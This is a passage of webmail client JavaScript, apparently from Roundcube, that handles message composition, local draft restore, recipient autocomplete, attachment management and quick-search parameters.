      // On Back button Chrome will overwrite textarea with old content
      // causing e.g. the same signature is added twice (#5809)
      if (input_message.value && input_message.defaultValue !== undefined)
        input_message.value = input_message.defaultValue;

      pos = this.env.top_posting && this.env.compose_mode ? 0 : input_message.value.length;

      // add signature according to selected identity
      // if we have HTML editor, signature is added in a callback
      if (input_from.prop('type') == 'select-one') {
        // for some reason the caret initially is not at pos=0 in Firefox 51 (#5628)
        this.set_caret_pos(input_message, 0);
        this.change_identity(input_from[0]);
      }

      // set initial cursor position
      this.set_caret_pos(input_message, pos);

      // scroll to the bottom of the textarea (#1490114)
      if (pos) {
        $(input_message).scrollTop(input_message.scrollHeight);
      }
    }

    // check for locally stored compose data
    if (this.env.save_localstorage)
      this.compose_restore_dialog(0, html_mode)

    if (input_to.val() == '')
      elem = input_to;
    else if (input_subject.val() == '')
      elem = input_subject;
    else if (input_message)
      elem = input_message;

    this.env.compose_focus_elem = this.init_messageform_inputs(elem);

    // get summary of all field values
    this.compose_field_hash(true);

    // start the auto-save timer
    this.auto_save_start();
  };

  // init autocomplete events on compose form inputs
  this.init_messageform_inputs = function(focused)
  {
    var i,
      input_to = $("[name='_to']"),
      ac_fields = ['cc', 'bcc', 'replyto', 'followupto'];

    // init live search events
    this.init_address_input_events(input_to);
    for (i in ac_fields) {
      this.init_address_input_events($("[name='_"+ac_fields[i]+"']"));
    }

    if (!focused)
      focused = input_to;

    // focus first empty element (and return it)
    return $(focused).focus().get(0);
  };

  this.compose_restore_dialog = function(j, html_mode)
  {
    var i, key, formdata, index = this.local_storage_get_item('compose.index', []);

    var show_next = function(i) {
      if (++i < index.length)
        ref.compose_restore_dialog(i, html_mode)
    }

    for (i = j || 0; i < index.length; i++) {
      key = index[i];
      formdata = this.local_storage_get_item('compose.' + key, null, true);
      if (!formdata) {
        continue;
      }
      // restore saved copy of current compose_id
      if (formdata.changed && key == this.env.compose_id) {
        this.restore_compose_form(key, html_mode);
        break;
      }
      // skip records from 'other' drafts
      if (this.env.draft_id && formdata.draft_id && formdata.draft_id != this.env.draft_id) {
        continue;
      }
      // skip records on reply
      if (this.env.reply_msgid && formdata.reply_msgid != this.env.reply_msgid) {
        continue;
      }
      // show dialog asking to restore the message
      if (formdata.changed && formdata.session != this.env.session_id) {
        this.show_popup_dialog(
          this.get_label('restoresavedcomposedata')
            .replace('$date', new Date(formdata.changed).toLocaleString())
            .replace('$subject', formdata._subject)
            .replace(/\n/g, '<br/>'),
          this.get_label('restoremessage'),
          [{
            text: this.get_label('restore'),
            'class': 'mainaction restore',
            click: function(){
              ref.restore_compose_form(key, html_mode);
              ref.remove_compose_data(key);  // remove old copy
              ref.save_compose_form_local();  // save under current compose_id
              $(this).dialog('close');
            }
          },
          {
            text: this.get_label('delete'),
            'class': 'delete',
            click: function(){
              ref.remove_compose_data(key);
              $(this).dialog('close');
              show_next(i);
            }
          },
          {
            text: this.get_label('ignore'),
            'class': 'cancel',
            click: function(){
              $(this).dialog('close');
              show_next(i);
            }
          }]
        );
        break;
      }
    }
  }

  this.init_address_input_events = function(obj, props)
  {
    // configure parallel autocompletion
    if (!props && this.env.autocomplete_threads > 0) {
      props = {
        threads: this.env.autocomplete_threads,
        sources: this.env.autocomplete_sources
      };
    }

    obj.keydown(function(e) { return ref.ksearch_keydown(e, this, props); })
      .attr({autocomplete: 'off', 'aria-autocomplete': 'list', 'aria-expanded': 'false', role: 'combobox'});

    var callback = function(e) {
      if (ref.ksearch_pane && e.target === ref.ksearch_pane.get(0)) {
        return;
      }
      ref.ksearch_hide();
    };

    // hide the popup on any click
    $(document).on('click', callback);
    // and on scroll (that cannot be jQuery.on())
    document.addEventListener('scroll', callback, true);
  };

  this.submit_messageform = function(draft, saveonly)
  {
    var form = this.gui_objects.messageform;

    if (!form)
      return;

    // the message has been sent but not saved, ask the user what to do
    if (!saveonly && this.env.is_sent) {
      return this.simple_dialog(this.get_label('messageissent'), '', // TODO: dialog title
        function() {
          ref.submit_messageform(false, true);
          return true;
        }
      );
    }

    // delegate sending to Mailvelope routine
    if (this.mailvelope_editor) {
      return this.mailvelope_submit_messageform(draft, saveonly);
    }

    // all checks passed, send message
    var msgid = this.set_busy(true, draft || saveonly ? 'savingmessage' : 'sendingmessage'),
      lang = this.spellcheck_lang(),
      files = [];

    // send files list
    $('li', this.gui_objects.attachmentlist).each(function() { files.push(this.id.replace(/^rcmfile/, '')); });
    $('[name="_attachments"]', form).val(files.join());

    form.target = this.get_save_target(msgid);
    form._draft.value = draft ? '1' : '';
    form.action = this.add_url(form.action, '_unlock', msgid);
    form.action = this.add_url(form.action, '_framed', 1);

    if (lang)
        form.action = this.add_url(form.action, '_lang', lang);
    if (saveonly)
      form.action = this.add_url(form.action, '_saveonly', 1);

    // register timer to notify about connection timeout
    this.submit_timer = setTimeout(function() {
      ref.set_busy(false, null, msgid);
      ref.display_message('requesttimedout', 'error');
    }, this.env.request_timeout * 1000);

    form.submit();
  };

  this.compose_recipient_select = function(list)
  {
    var id, n, recipients = 0, selection = list.get_selection();
    for (n=0; n < selection.length; n++) {
      id = selection[n];
      if (this.env.contactdata[id])
        recipients++;
    }
    this.enable_command('add-recipient', recipients);
  };

  this.compose_add_recipient = function(field)
  {
    // find last focused field name
    if (!field) {
      field = $(this.env.focused_field).filter(':visible');
      field = field.length ? field.attr('id').replace('_', '') : 'to';
    }

    var recipients = [], input = $('#_' + field), selection = this.contact_list.get_selection();

    if (this.contact_list && selection.length) {
      var data, name, n, id;
      for (n = 0; n < selection.length; n++) {
        if ((id = selection[n]) && (data = this.env.contactdata[id])) {
          name = data.name || data

          // group is added, expand it
          if (id.charAt(0) == 'E' && input.length) {
            // We wrap the group name with invisible markers to prevent from problems with group expanding (#7569)
            name = '\u200b' + name + '\u200b';
            var gid = id.substr(1);
            this.group2expand[gid] = {name: name, input: input.get(0)};
            this.http_request('group-expand', {_source: data.source || this.env.source, _gid: gid}, false);
          }

          recipients.push(name);
        }
      }
    }

    if (recipients.length && input.length) {
      var oldval = input.val();
      if (oldval && !/[,;]\s*$/.test(oldval))
        oldval += ', ';
      input.val(oldval + recipients.join(', ') + ', ').change();
      this.triggerEvent('add-recipient', { field:field, recipients:recipients });
    }

    return recipients.length;
  };

  // checks the input fields before sending a message
  this.check_compose_input = function(cmd)
  {
    var key,
      input_subject = $("[name='_subject']");

    // check if all files has been uploaded
    for (key in this.env.attachments) {
      if (typeof this.env.attachments[key] === 'object' && !this.env.attachments[key].complete) {
        this.alert_dialog(this.get_label('notuploadedwarning'));
        return false;
      }
    }

    // display localized warning for missing subject
    if (!this.env.nosubject_warned && input_subject.val() == '') {
      var dialog,
        prompt_value = $('<input>').attr({type: 'text', size: 40, 'data-submit': 'true'}),
        myprompt = $('<div class="prompt">')
          .append($('<p class="message">').text(this.get_label('nosubjectwarning')))
          .append(prompt_value),
        save_func = function() {
          input_subject.val(prompt_value.val());
          dialog.dialog('close');
          if (ref.check_compose_input(cmd))
            ref.command(cmd, { nocheck:true });  // repeat command which triggered this
        };

      dialog = this.show_popup_dialog(
        myprompt,
        this.get_label('nosubjecttitle'),
        [{
            text: this.get_label('sendmessage'),
            'class': 'mainaction send',
            click: function() { save_func(); }
          }, {
            text: this.get_label('cancel'),
            'class': 'cancel',
            click: function() {
              input_subject.focus();
              dialog.dialog('close');
            }
          }],
        {dialogClass: 'warning'}
      );

      this.env.nosubject_warned = true;
      return false;
    }

    // check for empty body (only possible if not mailvelope encrypted)
    if (!this.mailvelope_editor && !this.editor.get_content() && !confirm(this.get_label('nobodywarning'))) {
      this.editor.focus();
      return false;
    }

    if (!this.check_compose_address_fields(cmd))
      return false;

    // move body from html editor to textarea (just to be sure, #1485860)
    this.editor.save();

    return true;
  };

  this.check_compose_address_fields = function(cmd, form)
  {
    if (!form)
      form = window.document;

    // check input fields
    var key, recipients, dialog,
      limit = this.env.max_disclosed_recipients,
      input_to = $("[name='_to']", form),
      input_cc = $("[name='_cc']", form),
      input_bcc = $("[name='_bcc']", form),
      input_from = $("[name='_from']", form),
      get_recipients = function(fields) {
        fields = $.map(fields, function(v) {
          v = v.val().trim();
          return v.length ? v : null;
        });
        return fields.join(',').replace(/^[\s,;]+/, '').replace(/[\s,;]+$/, '');
      };

    // check sender (if have no identities)
    if (input_from.prop('type') == 'text' && !rcube_check_email(input_from.val(), true)) {
      this.alert_dialog(this.get_label('nosenderwarning'), function() {
        input_from.focus();
      });
      return false;
    }

    // check for empty recipient
    if (!rcube_check_email(get_recipients([input_to, input_cc, input_bcc]), true)) {
      this.alert_dialog(this.get_label('norecipientwarning'), function() {
        input_to.focus();
      });
      return false;
    }

    // check disclosed recipients limit
    if (limit && !this.env.disclosed_recipients_warned
      && rcube_check_email(recipients = get_recipients([input_to, input_cc]), true, true) > limit
    ) {
      var save_func = function(move_to_bcc) {
          if (move_to_bcc) {
            var bcc = input_bcc.val();
            input_bcc.val((bcc ? (bcc + ', ') : '') + recipients).change();
            input_to.val('').change();
            input_cc.val('').change();
          }

          dialog.dialog('close');

          if (typeof cmd == 'function')
            cmd();
          else if (cmd)
            ref.command(cmd, { nocheck:true });  // repeat command which triggered this
        };

      dialog = this.show_popup_dialog(
        this.get_label('disclosedrecipwarning'),
        this.get_label('disclosedreciptitle'),
        [{
            text: this.get_label('sendmessage'),
            click: function() { save_func(false); },
            'class': 'mainaction'
          }, {
            text: this.get_label('bccinstead'),
            click: function() { save_func(true); }
          }, {
            text: this.get_label('cancel'),
            click: function() { dialog.dialog('close'); },
            'class': 'cancel'
          }],
        {dialogClass: 'warning'}
      );

      this.env.disclosed_recipients_warned = true;
      return false;
    }

    return true;
  };

  this.toggle_editor = function(props, obj, e)
  {
    // @todo: this should work also with many editors on page
    var mode, result = this.editor.toggle(props.html, props.noconvert || false),
      control = $('#' + this.editor.id).data('control') || $(e ? e.target : []);

    if (result)
      mode = props.html ? 'html' : 'plain';
    else
      mode = props.html ? 'plain' : 'html';

    // update internal format flag
    $("[name='_is_html']").val(mode == 'html' ? 1 : 0);

    if (control.is('[type=checkbox]'))
      control.prop('checked', mode == 'html');
    else
      control.val(mode);

    return result;
  };

  // Inserts a predefined response to the compose editor
  this.insert_response = function(response)
  {
    if (typeof response == 'object') {
      var replace = {};
      replace[response.is_html ? 'html' : 'text'] = response.data;

      this.editor.replace(replace);
      this.display_message('responseinserted', 'confirmation');
    }
    else {
      var lock = this.display_message('', 'loading');
      this.http_get('settings/response-get', {_id: response, _is_html: this.editor.is_html() ? 1 : 0}, lock);
    }
  };

  // updates spellchecker buttons on state change
  this.spellcheck_state = function()
  {
    var active = this.editor.spellcheck_state();

    $.each(this.buttons.spellcheck || [], function(i, v) {
      $('#' + v.id)[active ? 'addClass' : 'removeClass']('selected');
    });

    return active;
  };

  // get selected language
  this.spellcheck_lang = function()
  {
    return this.editor.get_language();
  };

  this.spellcheck_lang_set = function(lang)
  {
    this.editor.set_language(lang);
  };

  // resume spellchecking, highlight provided misspellings without new ajax request
  this.spellcheck_resume = function(data)
  {
    this.editor.spellcheck_resume(data);
  };

  this.set_draft_id = function(id)
  {
    if (id && id != this.env.draft_id) {
      var filter = {task: 'mail', action: ''},
        rc = this.opener(false, filter) || this.opener(true, filter);

      // refresh the drafts folder in the opener window
      if (rc && rc.env.mailbox == this.env.drafts_mailbox)
        rc.command('checkmail');

      this.env.draft_id = id;
      $("[name='_draft_saveid']").val(id);
    }

    // always remove local copy upon saving as draft
    this.remove_compose_data(this.env.compose_id);
    this.compose_skip_unsavedcheck = false;
  };

  // Create (attach) 'savetarget' iframe before use
  this.get_save_target = function(unlock)
  {
    // Removing the frame on load/error to workaround issues with window history
    this.dummy_iframe('savetarget', 'javascript:false;')
      .on('load error', function() {
        // catch invalid/error response from server and unlock the UI (#7494, #7488, #7522)
        if (unlock && $(this).contents().find('meta[name="generator"][content="Roundcube"]').length == 0) {
          ref.iframe_loaded(unlock);
          ref.display_message('connerror', 'error');
        }

        $(this).remove();
      });

    return 'savetarget';
  };

  this.auto_save_start = function()
  {
    if (this.env.draft_autosave) {
      this.save_timer = setTimeout(function() {
          ref.command("savedraft");
      }, this.env.draft_autosave * 1000);
    }

    // save compose form content to local storage every 5 seconds
    if (!this.local_save_timer && window.localStorage && this.env.save_localstorage) {
      // track typing activity and only save on changes
      this.compose_type_activity = this.compose_type_activity_last = 0;
      $(document).keypress(function(e) { ref.compose_type_activity++; });

      this.local_save_timer = setInterval(function(){
        if (ref.compose_type_activity > ref.compose_type_activity_last) {
          ref.save_compose_form_local();
          ref.compose_type_activity_last = ref.compose_type_activity;
        }
      }, 5000);

      $(window).on('unload', function() {
        // remove copy from local storage if compose screen is left after warning
        if (!ref.env.server_error)
          ref.remove_compose_data(ref.env.compose_id);
      });
    }

    // check for unsaved changes before leaving the compose page
    if (!window.onbeforeunload) {
      window.onbeforeunload = function() {
        if (!ref.compose_skip_unsavedcheck && ref.cmp_hash != ref.compose_field_hash()) {
          return ref.get_label('notsentwarning');
        }
      };
    }

    // Unlock interface now that saving is complete
    this.busy = false;
  };

  this.compose_field_hash = function(save)
  {
    // check input fields
    var i, id, val, str = '', hash_fields = ['to', 'cc', 'bcc', 'subject'];

    for (i=0; i<hash_fields.length; i++)
      if (val = $('[name="_' + hash_fields[i] + '"]').val())
        str += val + ':';

    str += this.editor.get_content({refresh: false});

    for (id in this.env.attachments)
      str += id;

    // we can't detect changes in the Mailvelope editor so assume it changed
    if (this.mailvelope_editor) {
      str += ';' + new Date().getTime();
    }

    if (save)
      this.cmp_hash = str;

    return str;
  };

  // store the contents of the compose form to localstorage
  this.save_compose_form_local = function()
  {
    // feature is disabled
    if (!this.env.save_localstorage)
      return;

    var formdata = { session:this.env.session_id, changed:new Date().getTime() },
      ed, empty = true;

    // get fresh content from editor
    this.editor.save();

    if (this.env.draft_id) {
      formdata.draft_id = this.env.draft_id;
    }
    if (this.env.reply_msgid) {
      formdata.reply_msgid = this.env.reply_msgid;
    }

    $('input, select, textarea', this.gui_objects.messageform).each(function(i, elem) {
      switch (elem.tagName.toLowerCase()) {
        case 'input':
          if (elem.type == 'button' || elem.type == 'submit' || (elem.type == 'hidden' && elem.name != '_is_html')) {
            break;
          }
          formdata[elem.name] = elem.type != 'checkbox' || elem.checked ? $(elem).val() : '';

          if (formdata[elem.name] != '' && elem.type != 'hidden')
            empty = false;
          break;

        case 'select':
          formdata[elem.name] = $('option:checked', elem).val();
          break;

        default:
          formdata[elem.name] = $(elem).val();
          if (formdata[elem.name] != '')
            empty = false;
      }
    });

    if (!empty) {
      var index = this.local_storage_get_item('compose.index', []),
        key = this.env.compose_id;

      if ($.inArray(key, index) < 0) {
        index.push(key);
      }

      this.local_storage_set_item('compose.' + key, formdata, true);
      this.local_storage_set_item('compose.index', index);
    }
  };

  // write stored compose data back to form
  this.restore_compose_form = function(key, html_mode)
  {
    var ed, formdata = this.local_storage_get_item('compose.' + key, true);

    if (formdata && typeof formdata == 'object') {
      $.each(formdata, function(k, value) {
        if (k[0] == '_') {
          var elem = $("[name=" + k + "]");
          if (elem[0] && elem[0].type == 'checkbox') {
            elem.prop('checked', value != '');
          }
          else {
            elem.val(value).change();
          }
        }
      });

      // initialize HTML editor
      if ((formdata._is_html == '1' && !html_mode) || (formdata._is_html != '1' && html_mode)) {
        this.command('toggle-editor', {id: this.env.composebody, html: !html_mode, noconvert: true});
      }
    }
  };

  // remove stored compose data from localStorage
  this.remove_compose_data = function(key)
  {
    var index = this.local_storage_get_item('compose.index', []);

    if ($.inArray(key, index) >= 0) {
      this.local_storage_remove_item('compose.' + key);
      this.local_storage_set_item('compose.index', $.grep(index, function(val,i) { return val != key; }));
    }
  };

  // clear all stored compose data of this user
  this.clear_compose_data = function()
  {
    var i, index = this.local_storage_get_item('compose.index', []);

    for (i=0; i < index.length; i++) {
      this.local_storage_remove_item('compose.' + index[i]);
    }

    this.local_storage_remove_item('compose.index');
  };

  this.change_identity = function(obj, show)
  {
    if (!obj || !obj.options)
      return false;

    var id = $(obj).val(),
      got_sig = this.env.signatures && this.env.signatures[id],
      sig = this.env.identity,
      show_sig = show ? show : this.env.show_sig;

    // enable manual signature insert
    if (got_sig) {
      this.enable_command('insert-sig', true);
      this.env.compose_commands.push('insert-sig');
      got_sig = true;
    }
    else
      this.enable_command('insert-sig', false);

    // first function execution
    if (!this.env.identities_initialized) {
      this.env.identities_initialized = true;
      if (this.env.show_sig_later)
        this.env.show_sig = true;
      if (this.env.opened_extwin)
        return;
    }

    // update reply-to/bcc fields with addresses defined in identities
    $.each(['replyto', 'bcc'], function() {
      var rx, key = this,
        old_val = sig && ref.env.identities[sig] ? ref.env.identities[sig][key] : '',
        new_val = id && ref.env.identities[id] ? ref.env.identities[id][key] : '',
        input = $('[name="_'+key+'"]'), input_val = input.val();

      // remove old address(es)
      if (old_val && input_val) {
        rx = new RegExp('\\s*' + RegExp.escape(old_val) + '\\s*');
        input_val = input_val.replace(rx, '');
      }

      // cleanup
      input_val = String(input_val).replace(/[,;]\s*[,;]/g, ',').replace(/^[\s,;]+/, '');

      // add new address(es)
      if (new_val && input_val.indexOf(new_val) == -1 && input_val.indexOf(new_val.replace(/"/g, '')) == -1) {
        if (input_val) {
          input_val = input_val.replace(/[,;\s]+$/, '') + ', ';
        }

        input_val += new_val + ', ';
      }

      if (old_val || new_val)
        input.val(input_val).change();
    });

    if (this.editor)
      this.editor.change_signature(id, show_sig);

    if (show && got_sig)
      this.display_message('siginserted', 'confirmation');

    this.env.identity = id;
    this.triggerEvent('change_identity');

    return true;
  };

  // Open file selection dialog for defined upload form
  // Works only on click and only with smart-upload forms
  this.upload_input = function(name)
  {
    $('#' + name + ' input[type="file"]').click();
  };

  // upload (attachment) file
  this.upload_file = function(form, action, lock)
  {
    if (form) {
      var fname, files = [];
      $('input', form).each(function() {
        if (this.files) {
          fname = this.name;
          for (var i=0; i < this.files.length; i++)
            files.push(this.files[i]);
        }
      });

      return this.file_upload(files, {_id: this.env.compose_id || ''}, {
        name: fname,
        action: action,
        lock: lock
      });
    }
  };

  // add file name to attachment list
  // called from upload page
  this.add2attachment_list = function(name, att, upload_id)
  {
    if (upload_id)
      this.triggerEvent('fileuploaded', {name: name, attachment: att, id: upload_id});

    if (upload_id && this.env.attachments[upload_id])
      delete this.env.attachments[upload_id];

    this.env.attachments[name] = att;

    if (!this.gui_objects.attachmentlist)
      return false;

    var label, indicator, li = $('<li>');

    if (!att.complete && att.html.indexOf('<') < 0)
      att.html = '<span class="uploading">' + att.html + '</span>';

    if (!att.complete && this.env.loadingicon)
      att.html = '<img src="'+this.env.loadingicon+'" alt="" class="uploading" />' + att.html;

    if (!att.complete) {
      label = this.get_label('cancel');
      att.html = '<a title="'+label+'" onclick="return rcmail.cancel_attachment_upload(\''+name+'\');" href="#cancelupload" class="cancelupload">'
        + (this.env.cancelicon ? '<img src="'+this.env.cancelicon+'" alt="'+label+'" />' : '<span class="inner">' + label + '</span>') + '</a>' + att.html;
    }

    li.attr('id', name).addClass(att.classname).html(att.html)
      .find('.attachment-name').on('mouseover', function() { rcube_webmail.long_subject_title_ex(this); });

    // replace indicator's li
    if (upload_id && (indicator = document.getElementById(upload_id))) {
      li.replaceAll(indicator);
    }
    else { // add new li
      li.appendTo(this.gui_objects.attachmentlist);
    }

    // set tabindex attribute
    var tabindex = $(this.gui_objects.attachmentlist).attr('data-tabindex') || '0';
    li.find('a').attr('tabindex', tabindex);

    this.triggerEvent('fileappended', {name: name, attachment: att, id: upload_id, item: li});

    return true;
  };

  this.remove_from_attachment_list = function(name)
  {
    delete this.env.attachments[name];
    $('#'+name).remove();
  };

  this.remove_attachment = function(name)
  {
    if (name && this.env.attachments[name])
      this.http_post('remove-attachment', { _id:this.env.compose_id, _file:name });

    return false;
  };

  this.cancel_attachment_upload = function(name)
  {
    if (!name || !this.uploads[name])
      return false;

    this.remove_from_attachment_list(name);
    this.uploads[name].abort();
    return false;
  };

  // rename uploaded attachment (in compose)
  this.rename_attachment = function(id)
  {
    var attachment = this.env.attachments[id];

    if (!attachment)
      return;

    var input = $('<input>').attr({type: 'text', size: 50}).val(attachment.name),
      content = $('<label>').text(this.get_label('namex')).append(input);

    this.simple_dialog(content, 'attachmentrename', function() {
        var name;
        if ((name = input.val()) && name != attachment.name) {
          ref.http_post('rename-attachment', {_id: ref.env.compose_id, _file: id, _name: name},
          ref.set_busy(true, 'loading'));
          return true;
        }
      }
    );
  };

  // update attachments list with the new name
  this.rename_attachment_handler = function(id, name)
  {
    var attachment = this.env.attachments[id];

    if (!attachment || !name)
      return;

    attachment.name = name;

    $('#' + id + ' .attachment-name').text(name).attr('title', '');
  };

  // send remote request to add a new contact
  this.add_contact = function(value, reload, source)
  {
    if (value)
      this.http_post('addcontact', {_address: value, _reload: reload, _source: source});
  };

  // send remote request to search mail or contacts
  this.qsearch = function(value)
  {
    // Note: Some plugins would like to do search without value,
    // so we keep value != '' check to allow that use-case. Which means
    // e.g. that qsearch() with no argument will execute the search.
    if (value != '' || $(this.gui_objects.qsearchbox).val() || $(this.gui_objects.search_interval).val()) {
      var r, lock = this.set_busy(true, 'searching'),
        url = this.search_params(value),
        action = this.env.action == 'compose' && this.contact_list ? 'search-contacts' : 'search';

      if (this.message_list)
        this.clear_message_list();
      else if (this.contact_list)
        this.list_contacts_clear();

      if (this.env.source)
        url._source = this.env.source;
      if (this.env.group)
        url._gid = this.env.group;

      // reset vars
      this.env.current_page = 1;

      r = this.http_request(action, url, lock);

      this.env.qsearch = {lock: lock, request: r};
      this.enable_command('set-listmode', this.env.threads && (this.env.search_scope || 'base') == 'base');

      return true;
    }

    return false;
  };

  this.continue_search = function(request_id)
  {
    var lock = this.set_busy(true, 'stillsearching');

    setTimeout(function() {
      var url = ref.search_params();
      url._continue = request_id;
      ref.env.qsearch = { lock: lock, request: ref.http_request('search', url, lock) };
    }, 100);
  };

  // build URL params for search
  this.search_params = function(search, filter)
  {
    var n, url = {}, mods_arr = [],
      mods = this.env.search_mods,
      scope = this.env.search_scope || 'base',
      mbox = this.env.mailbox;

    if (!filter && this.gui_objects.search_filter)
      filter = this.gui_objects.search_filter.value;

    if (!search && this.gui_objects.qsearchbox)
      search = this.gui_objects.qsearchbox.value;

    if (this.gui_objects.search_interval)
      url._interval = $(this.gui_objects.search_interval).val();

    if (search) {
      url._q = search;

      if (mods && this.message_list)
        mods = mods[mbox] || mods['*'];

      if (mods) {
        for (n in mods)
          mods_arr.push(n);
        url._headers = mods_arr.join(',');
      }
    }

    url._layout = this.env.layout;
    url._filter = filter;
    url._scope = scope;
    url._mbox = mbox;

    return url;
  };

  // reset search filter
  this.reset_search_filter = function()
  {
    this.filter_disabled = true;
    if (this.gui_objects.search_filter)
      $(this.gui_objects.search_filter).val('ALL').change();
    this.filter_disabled = false;
  };

  // reset quick-search form
  this.reset_qsearch = function(all)
  {
    if (this.gui_objects.qsearchbox)
      this.gui_objects.qsearchbox.value = '';

    if (this.gui_objects.search_interval)
      $(this.gui_objects.search_interval).val('');

    if (this.env.qsearch)
      this.abort_request(this.env.qsearch);

    if (all) {
      this.env.search_scope = 'base';
      this.reset_search_filter();
    }

    this.env.qsearch = null;
    this.env.search_request = null;
    this.env.search_id = null;
    this.select_all_mode = false;

    this.enable_command('set-listmode', this.env.threads);
  };

  this.set_searchscope = function(scope)
  {
    this.env.search_scope = scope;
  };

  this.set_searchinterval = function(interval)
  {
    this.env.search_interval = interval;
  };

  this.set_searchmods = function(mods)
  {
    var mbox = this.env.mailbox,
      scope = this.env.search_scope || 'base';

    if (!this.env.search_mods)
      this.env.search_mods = {};

    if (mbox)
      this.env.search_mods[mbox] = mods;
  };

  this.is_multifolder_listing = function()
  {
    return this.env.multifolder_listing !== undefined ? this.env.multifolder_listing :
      (this.env.search_request && (this.env.search_scope || 'base') != 'base');
  };

  // action executed after mail is sent
  this.sent_successfully = function(type, msg, folders, save_error)
  {
    this.display_message(msg, type);
    this.compose_skip_unsavedcheck = true;

    if (this.env.extwin) {
      if (!save_error)
        this.lock_form(this.gui_objects.messageform);

      var filter = {task: 'mail', action: ''},
        rc = this.opener(false, filter) || this.opener(true, filter);

      if (rc) {
        rc.display_message(msg, type);
        // refresh the folder where sent message was saved or replied message comes from
        if (folders && $.inArray(rc.env.mailbox, folders) >= 0) {
          rc.command('checkmail');
        }
      }

      if (!save_error)
        setTimeout(function() { window.close(); }, 1000);
    }
    else if (!save_error) {
      // before redirect we need to wait some time for Chrome (#1486177)
      setTimeout(function() { ref.list_mailbox(); }, 500);
    }

    if (save_error)
      this.env.is_sent = true;
  };

  this.image_rotate = function()
  {
    var curr = this.image_style ? (this.image_style.rotate || 0) : 0;

    this.image_style.rotate = curr > 180 ? 0 : curr + 90;
    this.apply_image_style();
  };

  this.image_scale = function(prop)
  {
    var curr = this.image_style ? (this.image_style.scale || 1) : 1;

    this.image_style.scale = Math.max(0.1, curr + 0.1 * (prop == '-' ? -1 : 1));
    this.apply_image_style();
  };

  this.apply_image_style = function()
  {
    var style = [],
      head = $(this.gui_objects.messagepartframe).contents().find('head');

    $('#image-style', head).remove();

    $.each({scale: '', rotate: 'deg'}, function(i, v) {
      var val = ref.image_style[i];
      if (val)
        style.push(i + '(' + val + v + ')');
    });

    if (style)
      head.append($('<style id="image-style">').text('img { transform: ' + style.join(' ') + '}'));
  };

  // Update import dialog state
  this.import_state_set = function(state)
  {
    if (this.import_dialog) {
      this.import_state = state;

      var button = $(this.import_dialog).parent().find('.ui-dialog-buttonset > button').first();

      if (state != 'error') {
        // replace Import/Cancel buttons with Close button
        button.hide();
        button.next().text(this.gettext('close')).focus();
      }
      else {
        // activate the Import button
        button.prop('disabled', false);
      }
    }
  };


  /*********************************************************/
  /*********     keyboard live-search methods      *********/
  /*********************************************************/

  // handler for keyboard events on address-fields
  this.ksearch_keydown = function(e, obj, props)
  {
    if (this.ksearch_timer)
      clearTimeout(this.ksearch_timer);

    var key = rcube_event.get_keycode(e);

    switch (key) {
      case 38:  // arrow up
      case 40:  // arrow down
        if (!this.ksearch_visible())
          return;

        var dir = key == 38 ? 1 : 0,
          highlight = this.ksearch_pane.find('li.selected')[0];

        if (!highlight)
          highlight = this.ksearch_pane.__ul.firstChild;

        if (highlight)
          this.ksearch_select(dir ? highlight.previousSibling : highlight.nextSibling);

        return rcube_event.cancel(e);

      case 9:   // tab
        if (rcube_event.get_modifier(e) == SHIFT_KEY || !this.ksearch_visible()) {
          this.ksearch_hide();
          return;
        }

      case 13:  // enter
        if (!this.ksearch_visible())
          return false;

        // insert selected address and hide ksearch pane
        this.insert_recipient(this.ksearch_selected);
        this.ksearch_hide();

        // Don't cancel on Tab, we want to jump to the next field (#5659)
        return key == 9 ? null : rcube_event.cancel(e);

      case 27:  // escape
        this.ksearch_hide();
        return;

      case 37:  // left
      case 39:  // right
        return;
    }

    // start timer
    this.ksearch_timer = setTimeout(function() { ref.ksearch_get_results(props); }, 200);
    this.ksearch_input = obj;

    return true;
  };

  this.ksearch_visible = function()
  {
    return this.ksearch_selected !== null && this.ksearch_selected !== undefined && this.ksearch_value;
  };

  this.ksearch_select = function(node)
  {
    if (this.ksearch_pane && node) {
      this.ksearch_pane.find('li.selected').removeClass('selected').removeAttr('aria-selected');
    }

    if (node) {
      $(node).addClass('selected').attr('aria-selected', 'true');
      this.ksearch_selected = node._rcm_id;
      $(this.ksearch_input).attr('aria-activedescendant', 'rcmkSearchItem' + this.ksearch_selected);
    }
  };

  this.insert_recipient = function(id)
  {
    if (id === null || !this.env.contacts[id] || !this.ksearch_input)
      return;

    var trigger = false, insert = '', delim = ', ',
      contact = this.env.contacts[id];

    this.ksearch_destroy();

    // insert all members of a group
    if (typeof contact === 'object' && contact.type == 'group' && !contact.email && contact.id) {
      // We wrap the group name with invisible markers to prevent from problems with group expanding (#7569)
      var name = '\u200b' + contact.name + '\u200b';
      insert = name + delim;
      this.group2expand[contact.id] = {name: name, input: this.ksearch_input};
      this.http_request('mail/group-expand', {_source: contact.source, _gid: contact.id}, false);
    }
    else if (typeof contact === 'object' && contact.name) {
      insert = contact.name + delim;
      trigger = true;
    }
    else if (typeof contact === 'string') {
      insert = contact + delim;
      trigger = true;
    }

    this.ksearch_input_replace(this.ksearch_value, insert, null, trigger);

    if (trigger) {
      this.triggerEvent('autocomplete_insert', {
          field: this.ksearch_input,
          insert: insert,
          data: contact,
          search: this.ksearch_value_last,
          result_type: 'person'
      });

      this.ksearch_value_last = null;
      this.compose_type_activity++;
    }
  };

  this.replace_group_recipients = function(id, recipients)
  {
    var data = this.group2expand[id];

    if (data) {
      this.ksearch_input_replace(data.name, recipients, data.input);

      this.triggerEvent('autocomplete_insert', {
          field: data.input,
          insert: recipients,
          data: data,
          search: this.ksearch_value_last,
          result_type: 'group'
      });

      this.ksearch_value_last = null;
      this.group2expand[id] = null;
      this.compose_type_activity++;
    }
  };

  // address search processor
  this.ksearch_get_results = function(props)
  {
    if (this.ksearch_pane && this.ksearch_pane.is(":visible"))
      this.ksearch_pane.hide();

    // get string from cursor position back to the last comma or semicolon
    var q = this.ksearch_input_get(),
      min = this.env.autocomplete_min_length,
      data = this.ksearch_data;

    // trim query string
    q = q.trim();

    // Don't (re-)search if the last results are still active
    if (q == this.ksearch_value)
      return;

    this.ksearch_destroy();

    if (q.length && q.length < min) {
      if (!this.ksearch_info) {
        this.ksearch_info = this.display_message(this.get_label('autocompletechars').replace('$min', min));
      }
      return;
    }

    var old_value = this.ksearch_value;
    this.ksearch_value = q;
    this.ksearch_value_last = q;   // Group expansion clears ksearch_value before calling autocomplete_insert trigger, therefore store it in separate variable for later consumption.

    // ...string is empty
    if (!q.length)
      return;

    // ...new search value contains old one and previous search was not finished or its result was empty
